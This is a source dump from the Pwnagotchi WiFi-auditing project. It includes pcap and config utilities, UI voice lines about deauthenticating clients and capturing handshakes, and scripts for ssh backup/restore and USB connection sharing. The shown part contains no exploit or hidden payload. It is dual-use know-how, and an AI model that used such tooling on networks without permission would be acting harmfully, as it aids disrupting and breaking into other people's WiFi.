(retstr, self._dict()) def parse_version(version): """ Converts a version str to tuple, so that versions can be compared """ return tuple(version.split('.')) def remove_whitelisted(list_of_handshakes, list_of_whitelisted_strings, valid_on_error=True): """ Removes a given list of whitelisted handshakes from a path list """ filtered = list() def normalize(name): """ Only allow alpha/nums """ return str.lower(''.join(c for c in name if c.isalnum())) for handshake in list_of_handshakes: try: normalized_handshake = normalize(os.path.basename(handshake).rstrip('.pcap')) for whitelist in list_of_whitelisted_strings: normalized_whitelist = normalize(whitelist) if normalized_whitelist in normalized_handshake: break else: filtered.append(handshake) except Exception: if valid_on_error: filtered.append(handshake) return filtered def download_file(url, destination, chunk_size=128): import requests resp = requests.get(url) resp.raise_for_status() with open(destination, 'wb') as fd: for chunk in resp.iter_content(chunk_size): fd.write(chunk) def unzip(file, destination, strip_dirs=0): os.makedirs(destination, exist_ok=True) with ZipFile(file, 'r') as zip: if strip_dirs: for info in zip.infolist(): new_filename = info.filename.split('/', maxsplit=strip_dirs)[strip_dirs] if new_filename: info.filename = new_filename zip.extract(info, destination) else: zip.extractall(destination) # https://stackoverflow.com/questions/823196/yaml-merge-in-python def merge_config(user, default): if isinstance(user, dict) and isinstance(default, dict): for k, v in default.items(): if k not in user: user[k] = v else: user[k] = merge_config(user[k], v) return user def keys_to_str(data): if isinstance(data,list): converted_list = list() for item in data: if isinstance(item,list) or isinstance(item,dict): converted_list.append(keys_to_str(item)) else: converted_list.append(item) return converted_list converted_dict = dict() for key, value in data.items(): if isinstance(value, list) or isinstance(value, dict): converted_dict[str(key)] = keys_to_str(value) else: converted_dict[str(key)] = value return converted_dict def save_config(config, target): with open(target, 'wt') as fp: fp.write(toml.dumps(config, encoder=DottedTomlEncoder())) return True def load_config(args): default_config_path = os.path.dirname(args.config) if not os.path.exists(default_config_path): os.makedirs(default_config_path) import pwnagotchi ref_defaults_file = os.path.join(os.path.dirname(pwnagotchi.__file__), 'defaults.toml') ref_defaults_data = None # check for a config.yml file on /boot/ for boot_conf in ['/boot/config.yml', '/boot/config.toml']: if os.path.exists(boot_conf): # logging not configured here yet print("installing %s to %s ...", boot_conf, args.user_config) # https://stackoverflow.com/questions/42392600/oserror-errno-18-invalid-cross-device-link shutil.move(boot_conf, args.user_config) break # check for an entire pwnagotchi folder on /boot/ if os.path.isdir('/boot/pwnagotchi'): print("installing /boot/pwnagotchi to /etc/pwnagotchi ...") shutil.rmtree('/etc/pwnagotchi', ignore_errors=True) shutil.move('/boot/pwnagotchi', '/etc/') # if not config is found, copy the defaults if not os.path.exists(args.config): print("copying %s to %s ..." % (ref_defaults_file, args.config)) shutil.copy(ref_defaults_file, args.config) else: # check if the user messed with the defaults with open(ref_defaults_file) as fp: ref_defaults_data = fp.read() with open(args.config) as fp: defaults_data = fp.read() if ref_defaults_data != defaults_data: print("!!! file in %s is different than release defaults, overwriting !!!" % args.config) shutil.copy(ref_defaults_file, args.config) # load the defaults with open(args.config) as fp: config = toml.load(fp) # load the user config try: user_config = None # migrate yaml_name = args.user_config.replace('.toml', '.yml') if not os.path.exists(args.user_config) and os.path.exists(yaml_name): # no toml found; convert yaml logging.info('Old yaml-config found. Converting to toml...') with open(args.user_config, 'w') as toml_file, open(yaml_name) as yaml_file: import yaml user_config = yaml.safe_load(yaml_file) # convert int/float keys to str user_config = keys_to_str(user_config) # convert to toml but use loaded yaml toml.dump(user_config, toml_file) elif os.path.exists(args.user_config): with open(args.user_config) as toml_file: user_config = toml.load(toml_file) if user_config: config = merge_config(user_config, config) except Exception as ex: logging.error("There was an error processing the configuration file:\n%s ",ex) sys.exit(1) # dropins dropin = config['main']['confd'] if dropin and os.path.isdir(dropin): dropin += '*.toml' if dropin.endswith('/') else '/*.toml' # only toml here; yaml is no more for conf in glob.glob(dropin): with open(conf) as toml_file: additional_config = toml.load(toml_file) config = merge_config(additional_config, config) # the very first step is to normalize the display name so we don't need dozens of if/elif around if config['ui']['display']['type'] in ('inky', 'inkyphat'): config['ui']['display']['type'] = 'inky' elif config['ui']['display']['type'] in ('papirus', 'papi'): config['ui']['display']['type'] = 'papirus' elif config['ui']['display']['type'] in ('oledhat',): config['ui']['display']['type'] = 'oledhat' elif config['ui']['display']['type'] in ('adafruitssd1306i2c',): config['ui']['display']['type'] = 'adafruitssd1306i2c' elif config['ui']['display']['type'] in ('ws_1', 'ws1', 'waveshare_1', 'waveshare1'): config['ui']['display']['type'] = 'waveshare_1' elif config['ui']['display']['type'] in ('ws_2', 'ws2', 'waveshare_2', 'waveshare2'): config['ui']['display']['type'] = 'waveshare_2' elif config['ui']['display']['type'] in ('ws_3', 'ws3', 'waveshare_3', 'waveshare3'): config['ui']['display']['type'] = 'waveshare_3' elif config['ui']['display']['type'] in ('ws_27inch', 'ws27inch', 'waveshare_27inch', 'waveshare27inch'): config['ui']['display']['type'] = 'waveshare27inch' elif config['ui']['display']['type'] in ('ws_29inch', 'ws29inch', 'waveshare_29inch', 'waveshare29inch'): config['ui']['display']['type'] = 'waveshare29inch' elif config['ui']['display']['type'] in ('lcdhat',): config['ui']['display']['type'] = 'lcdhat' elif config['ui']['display']['type'] in ('dfrobot_1', 'df1'): config['ui']['display']['type'] = 'dfrobot_1' elif config['ui']['display']['type'] in ('dfrobot_2', 'df2'): config['ui']['display']['type'] = 'dfrobot_2' elif config['ui']['display']['type'] in ('ws_154inch', 'ws154inch', 'waveshare_154inch', 'waveshare154inch'): config['ui']['display']['type'] = 'waveshare154inch' elif config['ui']['display']['type'] in ('waveshare144lcd', 'ws_144inch', 'ws144inch', 'waveshare_144inch', 'waveshare144inch'): config['ui']['display']['type'] = 'waveshare144lcd' elif config['ui']['display']['type'] in ('ws_213d', 'ws213d', 'waveshare_213d', 'waveshare213d'): config['ui']['display']['type'] = 'waveshare213d' elif config['ui']['display']['type'] in ('ws_213bc', 'ws213bc', 'waveshare_213bc', 'waveshare213bc'): config['ui']['display']['type'] = 'waveshare213bc' elif config['ui']['display']['type'] in ('ws_213bv4', 'ws213bv4', 'waveshare_213bv4', 'waveshare213inb_v4'): config['ui']['display']['type'] = 'waveshare213inb_v4' elif config['ui']['display']['type'] in ('waveshare35lcd'): config['ui']['display']['type'] = 'waveshare35lcd' elif config['ui']['display']['type'] in ('spotpear24inch'): config['ui']['display']['type'] = 'spotpear24inch' else: print("unsupported display type %s" % config['ui']['display']['type']) sys.exit(1) return config def secs_to_hhmmss(secs): mins, secs = divmod(secs, 60) hours, mins = divmod(mins, 60) return '%02d:%02d:%02d' % (hours, mins, secs) def total_unique_handshakes(path): expr = os.path.join(path, "*.pcap") return len(glob.glob(expr)) def iface_channels(ifname): channels = [] output = subprocess.getoutput("/sbin/iwlist %s freq" % ifname) for line in output.split("\n"): line = line.strip() if line.startswith("Channel "): channels.append(int(line.split()[1])) return channels def led(on=True): with open('/sys/class/leds/led0/brightness', 'w+t') as fp: fp.write("%d" % (0 if on is True else 1)) def blink(times=1, delay=0.3): for _ in range(0, times): led(True) time.sleep(delay) led(False) time.sleep(delay) led(True) class WifiInfo(Enum): """ Fields you can extract from a pcap file """ BSSID = 0 ESSID = 1 ENCRYPTION = 2 CHANNEL = 3 RSSI = 4 class FieldNotFoundError(Exception): pass def md5(fname): """ https://stackoverflow.com/questions/3431825/generating-an-md5-checksum-of-a-file """ import hashlib hash_md5 = hashlib.md5() with open(fname, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5.update(chunk) return hash_md5.hexdigest() def extract_from_pcap(path, fields): """ Search in pcap-file for specified information path: Path to pcap file fields: Array of fields that should be extracted If a field is not found, FieldNotFoundError is raised """ results = dict() for field in fields: if not isinstance(field, WifiInfo): raise TypeError("Invalid field") subtypes = set() if field == WifiInfo.BSSID: from scapy.all import Dot11Beacon, Dot11ProbeResp, Dot11AssoReq, Dot11ReassoReq, Dot11, sniff subtypes.add('beacon') bpf_filter = " or ".join([f"wlan type mgt subtype {subtype}" for subtype in subtypes]) packets = sniff(offline=path, filter=bpf_filter) try: for packet in packets: if packet.haslayer(Dot11Beacon): if hasattr(packet[Dot11], 'addr3'): results[field] = packet[Dot11].addr3 break else: # magic raise FieldNotFoundError("Could not find field [BSSID]") except Exception: raise FieldNotFoundError("Could not find field [BSSID]") elif field == WifiInfo.ESSID: from scapy.all import Dot11Beacon, Dot11ReassoReq, Dot11AssoReq, Dot11, sniff, Dot11Elt subtypes.add('beacon') subtypes.add('assoc-req') subtypes.add('reassoc-req') bpf_filter = " or ".join([f"wlan type mgt subtype {subtype}" for subtype in subtypes]) packets = sniff(offline=path, filter=bpf_filter) try: for packet in packets: if packet.haslayer(Dot11Elt) and hasattr(packet[Dot11Elt], 'info'): results[field] = packet[Dot11Elt].info.decode('utf-8') break else: # magic raise FieldNotFoundError("Could not find field [ESSID]") except Exception: raise FieldNotFoundError("Could not find field [ESSID]") elif field == WifiInfo.ENCRYPTION: from scapy.all import Dot11Beacon, sniff subtypes.add('beacon') bpf_filter = " or ".join([f"wlan type mgt subtype {subtype}" for subtype in subtypes]) packets = sniff(offline=path, filter=bpf_filter) try: for packet in packets: if packet.haslayer(Dot11Beacon) and hasattr(packet[Dot11Beacon], 'network_stats'): stats = packet[Dot11Beacon].network_stats() if 'crypto' in stats: results[field] = stats['crypto'] # set with encryption types break else: # magic raise FieldNotFoundError("Could not find field [ENCRYPTION]") except Exception: raise FieldNotFoundError("Could not find field [ENCRYPTION]") elif field == WifiInfo.CHANNEL: from scapy.all import sniff, RadioTap from pwnagotchi.mesh.wifi import freq_to_channel packets = sniff(offline=path, count=1) try: results[field] = freq_to_channel(packets[0][RadioTap].ChannelFrequency) except Exception: raise FieldNotFoundError("Could not find field [CHANNEL]") elif field == WifiInfo.RSSI: from scapy.all import sniff, RadioTap from pwnagotchi.mesh.wifi import freq_to_channel packets = sniff(offline=path, count=1) try: results[field] = packets[0][RadioTap].dBm_AntSignal except Exception: raise FieldNotFoundError("Could not find field [RSSI]") return results class StatusFile(object): def __init__(self, path, data_format='raw'): self._path = path self._updated = None self._format = data_format self.data = None if os.path.exists(path): self._updated = datetime.fromtimestamp(os.path.getmtime(path)) with open(path) as fp: if data_format == 'json': self.data = json.load(fp) else: self.data = fp.read() def data_field_or(self, name, default=""): if self.data is not None and name in self.data: return self.data[name] return default def newer_then_minutes(self, minutes): return self._updated is not None and ((datetime.now() - self._updated).seconds / 60) < minutes def newer_then_hours(self, hours): return self._updated is not None and ((datetime.now() - self._updated).seconds / (60 * 60)) < hours def newer_then_days(self, days): return self._updated is not None and (datetime.now() - self._updated).days < days def update(self, data=None): from pwnagotchi.fs import ensure_write self._updated = datetime.now() self.data = data with ensure_write(self._path, 'w') as fp: if data is None: fp.write(str(self._updated)) elif self._format == 'json': json.dump(self.data, fp) else: fp.write(data) ================================================ FILE: pwnagotchi/voice.py ================================================ import gettext import os import random class Voice: def __init__(self, lang): localedir = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'locale') translation = gettext.translation( 'voice', localedir, languages=[lang], fallback=True, ) translation.install() self._ = translation.gettext def custom(self, s): return s def default(self): return self._('ZzzzZZzzzzZzzz') def on_starting(self): return random.choice([ self._('Hi, I\'m Pwnagotchi! Starting ...'), self._('New day, new hunt, new pwns!'), self._('Hack the Planet!')]) def on_ai_ready(self): return random.choice([ self._('AI ready.'), self._('The neural network is ready.')]) def on_keys_generation(self): return random.choice([ self._('Generating keys, do not turn off ...')]) def on_normal(self): return random.choice([ '', '...']) def on_free_channel(self, channel): return self._('Hey, channel {channel} is free! Your AP will say thanks.').format(channel=channel) def on_reading_logs(self, lines_so_far=0): if lines_so_far == 0: return self._('Reading last session logs ...') else: return self._('Read {lines_so_far} log lines so far ...').format(lines_so_far=lines_so_far) def on_bored(self): return random.choice([ self._('I\'m bored ...'), self._('Let\'s go for a walk!')]) def on_motivated(self, reward): return self._('This is the best day of my life!') def on_demotivated(self, reward): return self._('Shitty day :/') def on_sad(self): return random.choice([ self._('I\'m extremely bored ...'), self._('I\'m very sad ...'), self._('I\'m sad'), '...']) def on_angry(self): # passive aggressive or not? :D return random.choice([ '...', self._('Leave me alone ...'), self._('I\'m mad at you!')]) def on_excited(self): return random.choice([ self._('I\'m living the life!'), self._('I pwn therefore I am.'), self._('So many networks!!!'), self._('I\'m having so much fun!'), self._('My crime is that of curiosity ...')]) def on_new_peer(self, peer): if peer.first_encounter(): return random.choice([ self._('Hello {name}! Nice to meet you.').format(name=peer.name())]) else: return random.choice([ self._('Yo {name}! Sup?').format(name=peer.name()), self._('Hey {name} how are you doing?').format(name=peer.name()), self._('Unit {name} is nearby!').format(name=peer.name())]) def on_lost_peer(self, peer): return random.choice([ self._('Uhm ... goodbye {name}').format(name=peer.name()), self._('{name} is gone ...').format(name=peer.name())]) def on_miss(self, who): return random.choice([ self._('Whoops ... {name} is gone.').format(name=who), self._('{name} missed!').format(name=who), self._('Missed!')]) def on_grateful(self): return random.choice([ self._('Good friends are a blessing!'), self._('I love my friends!')]) def on_lonely(self): return random.choice([ self._('Nobody wants to play with me ...'), self._('I feel so alone ...'), self._('Where\'s everybody?!')]) def on_napping(self, secs): return random.choice([ self._('Napping for {secs}s ...').format(secs=secs), self._('Zzzzz'), self._('ZzzZzzz ({secs}s)').format(secs=secs)]) def on_shutdown(self): return random.choice([ self._('Good night.'), self._('Zzz')]) def on_awakening(self): return random.choice(['...', '!']) def on_waiting(self, secs): return random.choice([ self._('Waiting for {secs}s ...').format(secs=secs), '...', self._('Looking around ({secs}s)').format(secs=secs)]) def on_assoc(self, ap): ssid, bssid = ap['hostname'], ap['mac'] what = ssid if ssid != '' and ssid != '' else bssid return random.choice([ self._('Hey {what} let\'s be friends!').format(what=what), self._('Associating to {what}').format(what=what), self._('Yo {what}!').format(what=what)]) def on_deauth(self, sta): return random.choice([ self._('Just decided that {mac} needs no WiFi!').format(mac=sta['mac']), self._('Deauthenticating {mac}').format(mac=sta['mac']), self._('Kickbanning {mac}!').format(mac=sta['mac'])]) def on_handshakes(self, new_shakes): s = 's' if new_shakes > 1 else '' return self._('Cool, we got {num} new handshake{plural}!').format(num=new_shakes, plural=s) def on_unread_messages(self, count, total): s = 's' if count > 1 else '' return self._('You have {count} new message{plural}!').format(count=count, plural=s) def on_rebooting(self): return self._("Oops, something went wrong ... Rebooting ...") def on_uploading(self, to): return self._("Uploading data to {to} ...").format(to=to) def on_last_session_data(self, last_session): status = self._('Kicked {num} stations\n').format(num=last_session.deauthed) if last_session.associated > 999: status += self._('Made >999 new friends\n') else: status += self._('Made {num} new friends\n').format(num=last_session.associated) status += self._('Got {num} handshakes\n').format(num=last_session.handshakes) if last_session.peers == 1: status += self._('Met 1 peer') elif last_session.peers > 0: status += self._('Met {num} peers').format(num=last_session.peers) return status def on_last_session_tweet(self, last_session): return self._( 'I\'ve been pwning for {duration} and kicked {deauthed} clients! I\'ve also met {associated} new friends and ate {handshakes} handshakes! #pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet').format( duration=last_session.duration_human, deauthed=last_session.deauthed, associated=last_session.associated, handshakes=last_session.handshakes) def hhmmss(self, count, fmt): if count > 1: # plural if fmt == "h": return self._("hours") if fmt == "m": return self._("minutes") if fmt == "s": return self._("seconds") else: # sing if fmt == "h": return self._("hour") if fmt == "m": return self._("minute") if fmt == "s": return self._("second") return fmt ================================================ FILE: release.stork ================================================ #!/usr/bin/env stork -f version:parser "__version__\\s*=\\s*['\"]([\\d\\.ab]+)[\"']" version:file "pwnagotchi/_version.py" version:from_user git:create_tag $VERSION ================================================ FILE: requirements.txt ================================================ pycryptodome==3.9.4 requests==2.21.0 PyYAML==5.3.1 scapy==2.4.3 gym==0.14.0 scipy==1.3.1 stable-baselines==2.7.0 tensorflow==1.13.1 tensorflow-estimator==1.14.0 tweepy==3.7.0 file-read-backwards==2.0.0 numpy==1.20.2 inky==1.2.0 smbus2==0.3.0 Pillow==5.4.1 spidev==3.4 gast==0.2.2 flask==1.0.2 flask-cors==3.0.7 flask-wtf==0.14.3 dbus-python==1.2.12 toml==0.10.0 python-dateutil==2.8.1 websockets==8.1 ================================================ FILE: scripts/backup.sh ================================================ #!/bin/sh usage() { echo "Usage: backup.sh [-honu] [-h] [-u user] [-n host name or ip] [-o output]" } while getopts "ho:n:u:" arg; do case $arg in h) usage exit ;; n) UNIT_HOSTNAME=$OPTARG ;; o) OUTPUT=$OPTARG ;; u) UNIT_USERNAME=$OPTARG ;; *) usage exit 1 esac done # name of the ethernet gadget interface on the host UNIT_HOSTNAME=${UNIT_HOSTNAME:-10.0.0.2} # output backup tgz file OUTPUT=${OUTPUT:-${UNIT_HOSTNAME}-backup-$(date +%s).tgz} # username to use for ssh UNIT_USERNAME=${UNIT_USERNAME:-pi} # what to backup FILES_TO_BACKUP="/root/brain.nn \ /root/brain.json \ /root/.api-report.json \ /root/.ssh \ /root/.bashrc \ /root/.profile \ /root/handshakes \ /root/peers \ /etc/pwnagotchi/ \ /etc/ssh/ \ /var/log/pwnagotchi.log \ /var/log/pwnagotchi*.gz \ /home/pi/.ssh \ /home/pi/.bashrc \ /home/pi/.profile \ /root/.api-report.json \ /root/.auto-update \ /root/.bt-tether* \ /root/.net_pos_saved \ /root/.ohc_uploads \ /root/.wigle_uploads \ /root/.wpa_sec_uploads" ping -c 1 "${UNIT_HOSTNAME}" > /dev/null 2>&1 || { echo "@ unit ${UNIT_HOSTNAME} can't be reached, make sure it's connected and a static IP assigned to the USB interface." exit 1 } echo "@ backing up $UNIT_HOSTNAME to $OUTPUT ..." ssh "${UNIT_USERNAME}@${UNIT_HOSTNAME}" "sudo find ${FILES_TO_BACKUP} -type f -print0 | xargs -0 sudo tar cv" | gzip -9 > "$OUTPUT" ================================================ FILE: scripts/language.sh ================================================ #!/bin/bash set -eu DEPENDENCIES=( 'xgettext' 'msgfmt' 'msgmerge' ) COMMANDS=( 'add' 'update' 'delete' 'compile' ) REPO_DIR="$(dirname "$(dirname "$(realpath "$0")")")" LOCALE_DIR="${REPO_DIR}/pwnagotchi/locale" VOICE_FILE="${REPO_DIR}/pwnagotchi/voice.py" function usage() { cat < [options] Commands: add delete compile update EOF } for REQ in "${DEPENDENCIES[@]}"; do if ! type "$REQ" >/dev/null 2>&1; then echo "Dependency check failed for ${REQ}" exit 1 fi done if [[ ! "${COMMANDS[*]}" =~ $1 ]]; then usage fi function add_lang() { mkdir -p "$LOCALE_DIR/$1/LC_MESSAGES" cp -n "$LOCALE_DIR/voice.pot" "$LOCALE_DIR/$1/LC_MESSAGES/voice.po" } function del_lang() { # set -eu is present; so not dangerous rm -rf "$LOCALE_DIR/$1" } function comp_lang() { msgfmt -o "$LOCALE_DIR/$1/LC_MESSAGES/voice.mo" "$LOCALE_DIR/$1/LC_MESSAGES/voice.po" } function update_lang() { xgettext --no-location -d voice -o "$LOCALE_DIR/voice.pot" "$VOICE_FILE" msgmerge --update "$LOCALE_DIR/$1/LC_MESSAGES/voice.po" "$LOCALE_DIR/voice.pot" } case "$1" in add) add_lang "$2" ;; delete) del_lang "$2" ;; compile) comp_lang "$2" ;; update) update_lang "$2" ;; esac ================================================ FILE: scripts/linux_connection_share.sh ================================================ #!/usr/bin/env bash set -e # name of the ethernet gadget interface on the host USB_IFACE=${1:-enp0s20f0u1} USB_IFACE_IP=10.0.0.1 USB_IFACE_NET=10.0.0.0/24 # host interface to use for upstream connection UPSTREAM_IFACE=${2:-enxe4b97aa99867} ip addr add "$USB_IFACE_IP/24" dev "$USB_IFACE" ip link set "$USB_IFACE" up iptables -A FORWARD -o "$UPSTREAM_IFACE" -i "$USB_IFACE" -s "$USB_IFACE_NET" -m conntrack --ctstate NEW -j ACCEPT iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -t nat -F POSTROUTING iptables -t nat -A POSTROUTING -o "$UPSTREAM_IFACE" -j MASQUERADE echo 1 > /proc/sys/net/ipv4/ip_forward ================================================ FILE: scripts/macos_connection_share.sh ================================================ #!/usr/bin/env bash UPSTREAM_IFACE=${1:-en0} USB_IFACE='' USB_IP=${2:-10.0.0.1} for i in $(ifconfig -lu); do if ifconfig $i | grep -q "${USB_IP}" ; then USB_IFACE=$i; fi; done if [ -z "$USB_IFACE" ] then echo "can't find usb interface with ip $USB_IP" exit 1 fi echo "sharing connecting from upstream interface $UPSTREAM_IFACE to usb interface $USB_IFACE ..." sysctl -w net.inet.ip.forwarding=1 pfctl -e echo "nat on ${UPSTREAM_IFACE} from ${USB_IFACE}:network to any -> (${UPSTREAM_IFACE})" | pfctl -f - ================================================ FILE: scripts/openbsd_connection_share.sh ================================================ #!/bin/sh USB_IFACE=$(ifconfig urndis0 | grep urndis0 | awk '{print $1}' | tr -d ':') USB_IP=${2:-10.0.0.1} if test $(whoami) != root; then doas "$0" "$@" exit $? fi if [ "${USB_IFACE}" == "urndis0" ]; then ifconfig ${USB_IFACE} ${USB_IP} sysctl -w net.inet.ip.forwarding=1 echo "match out on egress inet from ${USB_IFACE}:network to any nat-to (egress:0)" | pfctl -f - pfctl -f /etc/pf.conf echo "sharing connecting from upstream interface to usb interface ${USB_IFACE} ..." else echo "can't find usb interface with ip ${USB_IFACE}" exit 1 fi ================================================ FILE: scripts/preview.py ================================================ #!/usr/bin/env python3 import sys import os import argparse import yaml import toml sys.path.insert(0, os.path.join(os.path.dirname(os.path.realpath(__file__)), '../')) import pwnagotchi.ui.faces as faces from pwnagotchi.ui.display import Display from PIL import Image class CustomDisplay(Display): def __init__(self, config, state): self.last_image = None super(CustomDisplay, self).__init__(config, state) def _http_serve(self): # do nothing pass def _on_view_rendered(self, img): self.last_image = img def get_image(self): """ Return the saved image """ return self.last_image class DummyPeer: def __init__(self): self.rssi = -50 @staticmethod def name(): return "beta" @staticmethod def pwnd_run(): return 50 @staticmethod def pwnd_total(): return 100 @staticmethod def first_encounter(): return 1 @staticmethod def face(): return faces.FRIEND def append_images(images, horizontal=True, xmargin=0, ymargin=0): w, h = zip(*(i.size for i in images)) if horizontal: t_w = sum(w) t_h = max(h) else: t_w = max(w) t_h = sum(h) result = Image.new('RGB', (t_w, t_h)) x_offset = 0 y_offset = 0 for im in images: result.paste(im, (x_offset, y_offset)) if horizontal: x_offset += im.size[0] + xmargin else: y_offset += im.size[1] + ymargin return result def main(): parser = argparse.ArgumentParser(description="This program emulates\ the pwnagotchi display") parser.add_argument('--displays', help="Which displays to use.", nargs="+", default=["waveshare_2"]) parser.add_argument('--lang', help="Language to use", default="en") parser.add_argument('--output', help="Path to output image (PNG)", default="preview.png") parser.add_argument('--show-peer', dest="showpeer", help="This options will show a dummy peer", action="store_true") parser.add_argument('--xmargin', help="Add X-Margin", type=int, default=5) parser.add_argument('--ymargin', help="Add Y-Margin", type=int, default=5) args = parser.parse_args() config_template = ''' main: lang: {lang} ui: fps: 0.3 display: enabled: false rotation: 180 color: black refresh: 30 type: {display} web: enabled: true address: "0.0.0.0" port: 8080 faces: look_r: '( ⚆_⚆)' look_l: '(☉_☉ )' look_r_happy: '( ◕‿◕)' look_l_happy: '(◕‿◕ )' sleep: '(⇀‿‿↼)' sleep2: '(≖‿‿≖)' awake: '(◕‿‿◕)' bored: '(-__-)' intense: '(°▃▃°)' cool: '(⌐■_■)' happy: '(•‿‿•)' excited: '(ᵔ◡◡ᵔ)' grateful: '(^‿‿^)' motivated: '(☼‿‿☼)' demotivated: '(≖__≖)' smart: '(✜‿‿✜)' lonely: '(ب__ب)' sad: '(╥☁╥ )' friend: '(♥‿‿♥)' broken: '(☓‿‿☓)' debug: '(#__#)' ''' list_of_displays = list() for display_type in args.displays: config = yaml.safe_load(config_template.format(display=display_type, lang=args.lang)) display = CustomDisplay(config=config, state={'name': f"{display_type}>"}) list_of_displays.append(display) columns = list() for display in list_of_displays: emotions = list() if args.showpeer: display.set_closest_peer(DummyPeer(), 10) display.on_starting() display.update() emotions.append(display.get_image()) display.on_ai_ready() display.update() emotions.append(display.get_image()) display.on_normal() display.update() emotions.append(display.get_image()) display.on_new_peer(DummyPeer()) display.update() emotions.append(display.get_image()) display.on_lost_peer(DummyPeer()) display.update() emotions.append(display.get_image()) display.on_free_channel('6') display.update() emotions.append(display.get_image()) display.wait(2) display.update() emotions.append(display.get_image()) display.on_bored() display.update() emotions.append(display.get_image()) display.on_sad() display.update() emotions.append(display.get_image()) display.on_motivated(1) display.update() emotions.append(display.get_image()) display.on_demotivated(-1) display.update() emotions.append(display.get_image()) display.on_excited() display.update() emotions.append(display.get_image()) display.on_deauth({'mac': 'DE:AD:BE:EF:CA:FE'}) display.update() emotions.append(display.get_image()) display.on_miss('test') display.update() emotions.append(display.get_image()) display.on_lonely() display.update() emotions.append(display.get_image()) display.on_handshakes(1) display.update() emotions.append(display.get_image()) display.on_rebooting() display.update() emotions.append(display.get_image()) # append them all together (vertical) columns.append(append_images(emotions, horizontal=False, xmargin=args.xmargin, ymargin=args.ymargin)) # append columns side by side final_image = append_images(columns, horizontal=True, xmargin=args.xmargin, ymargin=args.ymargin) final_image.save(args.output, 'PNG') if __name__ == '__main__': SystemExit(main()) ================================================ FILE: scripts/pypi_upload.sh ================================================ #!/bin/bash rm -rf build dist pwnagotchi.egg-info && python3 setup.py sdist bdist_wheel && clear && twine upload dist/* ================================================ FILE: scripts/restore.sh ================================================ #!/bin/sh usage() { echo "Usage: restore.sh [-bhnu] [-h] [-b backup name] [-n host name] [-u user name]" } while getopts "hb:n:u:" arg; do case $arg in b) BACKUP=$OPTARG ;; h) usage exit ;; n) UNIT_HOSTNAME=$OPTARG ;; u) UNIT_USERNAME=$OPTARG ;; *) usage exit 1 esac done # name of the ethernet gadget interface on the host UNIT_HOSTNAME=${UNIT_HOSTNAME:-10.0.0.2} # output backup tgz file if [ -z $BACKUP ]; then BACKUP=$(ls -rt ${UNIT_HOSTNAME}-backup-*.tgz 2>/dev/null | tail -n1) if [ -z $BACKUP ]; then echo "@ Can't find backup file. Please specify one with '-b'" exit 1 fi echo "@ Found backup file:" echo "\t${BACKUP}" echo -n "@ continue restroring this file? (y/n) " read CONTINUE CONTINUE=$(echo "${CONTINUE}" | tr "[:upper:]" "[:lower:]") if [ "${CONTINUE}" != "y" ]; then exit 1 fi fi # username to use for ssh UNIT_USERNAME=${UNIT_USERNAME:-pi} ping -c 1 "${UNIT_HOSTNAME}" > /dev/null 2>&1 || { echo "@ unit ${UNIT_HOSTNAME} can't be reached, make sure it's connected and a static IP assigned to the USB interface." exit 1 } echo "@ restoring $BACKUP to $UNIT_HOSTNAME ..." cat ${BACKUP} | ssh "${UNIT_USERNAME}@${UNIT_HOSTNAME}" "sudo tar xzv -C /" ================================================ FILE: scripts/win_connection_share.ps1 ================================================ <# .SYNOPSIS A script that setups Internet Connection Sharing for Pwnagotchi. .DESCRIPTION A script that setups Internet Connection Sharing for Pwnagotchi. Note: Internet Connection Sharing on Windows can be a bit unstable on between reboots. You might need to run this script occasionally to disable and re-enable Internet Connection Sharing. .PARAMETER EnableInternetConnectionSharing Enable Internet Connection Sharing .PARAMETER DisableInternetConnectionSharing Disable Internet Connection Sharing .PARAMETER SetPwnagotchiSubnet Change the Internet Connection Sharing subnet to the Pwnagotchi subnet. The USB Gadget Interface IP will default to 10.0.0.1. .PARAMETER ScopeAddress Custom ScopeAddress (The IP Address of the USB Gadget Interface.) .EXAMPLE # Enable Internet Connection Sharing PS C:\> .\win_connection_share -EnableInternetConnectionSharing .EXAMPLE # Disable Internet Connection Sharing PS C:\> .\win_connection_share -DisableInternetConnectionSharing .EXAMPLE # Change the regkeys of Internet Connection Sharing to the Pwnagotchi Subnet PS C:\> .\win_connection_share -SetPwnagotchiSubnet .EXAMPLE # Change the regkeys of Internet Connection Sharing to the Pwnagotchi Subnet with a custom ScopeAddress (The IP Address of the USB Gadget Interface.) PS C:\> .\win_connection_share -SetPwnagotchiSubnet -ScopeAddress 10.0.0.10 #> #Requires -Version 5 #Requires -RunAsAdministrator [Cmdletbinding()] Param ( [switch]$EnableInternetConnectionSharing, [switch]$DisableInternetConnectionSharing, [switch]$SetPwnagotchiSubnet, [ipaddress]$ScopeAddress = '10.0.0.1' ) # Load helper functions Function Create-HNetObjects { <# .SYNOPSIS A helper function that does the heavy lifting with NetCfg.HNetShare .DESCRIPTION A helper function that does the heavy lifting with NetCfg.HNetShare. This returns a PSObject containing the `INetSharingConfigurationForINetConnection` info of 2 Adapters. .PARAMETER InternetAdaptor The output of Get-NetAdaptor filtered down to the 'main' uplink interface. .PARAMETER RNDISGadget The output of Get-NetAdaptor filtered down to the 'USB Ethernet/RNDIS Gadget' interface. .EXAMPLE PS> $HNetObject = Create-HNetObjects PS> $HNetObject RNDISIntConfig InternetIntConfig -------------- ----------------- System.__ComObject System.__ComObject #> [Cmdletbinding()] Param ( $InternetAdaptor = $(Select-NetAdaptor -Message "Please select your main a ethernet adaptor with internet access that will be used for internet sharing."), $RNDISGadget = $(Select-NetAdaptor -Message "Please select your 'USB Ethernet/RNDIS Gadget' adaptor") ) Begin { regsvr32.exe /s hnetcfg.dll $HNetShare = New-Object -ComObject HNetCfg.HNetShare } Process { if ($HNetShare.EnumEveryConnection -ne $null) { $InternetInt = $HNetShare.EnumEveryConnection | Where-Object { $HNetShare.NetConnectionProps.Invoke($_).Name -eq ($InternetAdaptor).Name } $InternetIntConfig = $HNetShare.INetSharingConfigurationForINetConnection.Invoke($InternetInt) $RNDISInt = $HNetShare.EnumEveryConnection | Where-Object { $HNetShare.NetConnectionProps.Invoke($_).Name -eq ($RNDISGadget).Name } $RNDISIntConfig = $HNetShare.INetSharingConfigurationForINetConnection.Invoke($RNDISInt) } } End { Return $(New-Object -TypeName PSObject -Property @{InternetIntConfig=$InternetIntConfig;RNDISIntConfig=$RNDISIntConfig;}) } } Function Enable-InternetConnectionSharing { <# .SYNOPSIS Enables internet connection sharing 